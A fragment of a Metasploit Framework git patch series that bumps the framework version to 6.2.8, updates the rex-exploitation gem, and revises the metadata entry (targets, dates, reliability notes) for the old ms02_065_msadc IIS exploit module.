+1,7 @@ PATH remote: . specs: - metasploit-framework (6.2.7) + metasploit-framework (6.2.8) actionpack (~> 6.0) activerecord (~> 6.0) activesupport (~> 6.0) diff --git a/LICENSE_GEMS b/LICENSE_GEMS index da3794f604e3..72f3ecd5c794 100644 --- a/LICENSE_GEMS +++ b/LICENSE_GEMS @@ -70,7 +70,7 @@ memory_profiler, 1.0.0, MIT metasm, 1.0.5, LGPL-2.1 metasploit-concern, 4.0.4, "New BSD" metasploit-credential, 5.0.7, "New BSD" -metasploit-framework, 6.2.7, "New BSD" +metasploit-framework, 6.2.8, "New BSD" metasploit-model, 4.0.4, "New BSD" metasploit-payloads, 2.0.94, "3-clause (or ""modified"") BSD" metasploit_data_models, 5.0.5, "New BSD" diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index da3988e8713e..cba27a7f320a 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ def self.get_hash end end - VERSION = "6.2.7" + VERSION = "6.2.8" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash From f8101aa8e4d09fe75c53778d8d8496848f3a008c Mon Sep 17 00:00:00 2001 From: space-r7 Date: Thu, 14 Jul 2022 17:23:49 -0500 Subject: [PATCH 78/79] bump rex-exploitation gem from 0.1.31 to 0.1.33 --- Gemfile.lock | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Gemfile.lock b/Gemfile.lock index 12f465d2838a..cd77cc51ef45 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -351,7 +351,7 @@ GEM metasm rex-arch rex-text - rex-exploitation (0.1.31) + rex-exploitation (0.1.33) jsobfu metasm rex-arch From e7e3ea1a3194b9011d521efe520790e1285293fc Mon Sep 17 00:00:00 2001 From: Metasploit Date: Sat, 16 Jul 2022 16:06:17 -0500 Subject: [PATCH 79/79] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 26 ++++++++++++++++++++++---- 1 file changed, 22 insertions(+), 4 deletions(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 1414e5ea3be3..1ab7186ec587 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -147195,7 +147195,7 @@ ], "rank": 300, - "disclosure_date": "2002-11-20", + "disclosure_date": "2002-11-02", "type": "exploit", "author": [ "aushack " @@ -147209,7 +147209,7 @@ "URL-http://archives.neohapsis.com/archives/vulnwatch/2002-q4/0082.html" ], "platform": "Windows", - "arch": "", + "arch": "x86", "rport": 80, "autofilter_ports": [ 80, @@ -147227,9 +147227,18 @@ "https" ], "targets": [ - "Windows 2000 Pro English SP0" + "Windows 2000 Pro SP0-SP3 (English)", + "Windows 2000 Pro SP0 (Korean)", + "Windows 2000 Pro SP0 (Dutch)", + "Windows 2000 Pro SP0 (Finnish)", + "Windows 2000 Pro SP0 (Turkish)", + "Windows 2000 Pro SP0-SP1 (Greek)", + "Windows 2000 Pro SP1 (Arabic)", + "Windows 2000 Pro SP1 (Czech)", + "Windows 2000 Pro SP2 (French)", + "Windows 2000 Pro SP2 (Portuguese)" ], - "mod_time": "2017-11-09 03:00:24 +0000", + "mod_time": "2022-07-08 00:26:02 +0000", "path": "/modules/exploits/windows/iis/ms02_065_msadc.rb", "is_install_path": true, "ref_name": "windows/iis/ms02_065_msadc", @@ -147237,6 +147246,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "repeatable-session" + ], + "Stability": [ + "crash-service-down" + ], + "SideEffects": [ + "ioc-in-logs" + ] }, "session_types": false, "needs_cleanup": null